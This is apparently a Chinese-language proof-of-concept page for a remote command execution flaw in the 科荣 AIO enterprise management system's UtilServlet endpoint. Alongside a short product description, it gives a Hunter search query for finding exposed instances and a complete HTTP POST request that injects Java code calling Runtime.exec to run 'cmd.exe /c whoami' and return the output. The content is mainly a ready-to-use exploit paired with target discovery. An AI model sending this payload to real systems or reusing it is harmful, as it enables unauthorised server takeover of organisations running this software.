POC/wpoc/科荣AIO管理系统/科荣AIO管理系统UtilServlet存在远程命令执行漏洞.md
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# 科荣 AIO 管理系统 UtilServlet 存在远程命令执行漏洞
# 一、漏洞简介
科荣AIO企业一体化管理解决方案,通过ERP进销存财务、OA办公自动化、CRM客户关系管理、UDP自定义平台集电子商务平台、支付平台、ERP平台、微信平台、移动APP等解决了众多企业客户在管理过程中跨部门、多功能、需求多变等通用及个性化的问题。科荣 AIO 管理系统 UtilServlet 存在远程命令执行漏洞,攻击者可通过该漏洞获取服务器权限。
# 二、影响版本
+ 科荣 AIO 管理系统
# 三、资产测绘
+ hunter`app.name="科荣 AIO"`
+ 特征
![1699631783798-97153184-155c-4762-9c58-b7c8334bc638.png](./img/8C_gc1ZbNQq7MyLJ/1699631783798-97153184-155c-4762-9c58-b7c8334bc638-959475.png)
# 四、漏洞复现
```plain
POST /UtilServlet HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
operation=calculate&value=BufferedReader+br+%3d+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec("cmd.exe+/c+whoami").getInputStream()))%3bString+line%3bStringBuilder+b+%3d+new+StringBuilder()%3bwhile+((line+%3d+br.readLine())+!%3d+null)+{b.append(line)%3b}return+new+String(b)%3b&fieldName=example_field
```
![1706534515581-13127fb9-02eb-477c-99f7-de2a3cca7804.png](./img/8C_gc1ZbNQq7MyLJ/1706534515581-13127fb9-02eb-477c-99f7-de2a3cca7804-488011.png)
> 更新: 2024-02-29 23:55:46
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/maxbgi836ngdayg3>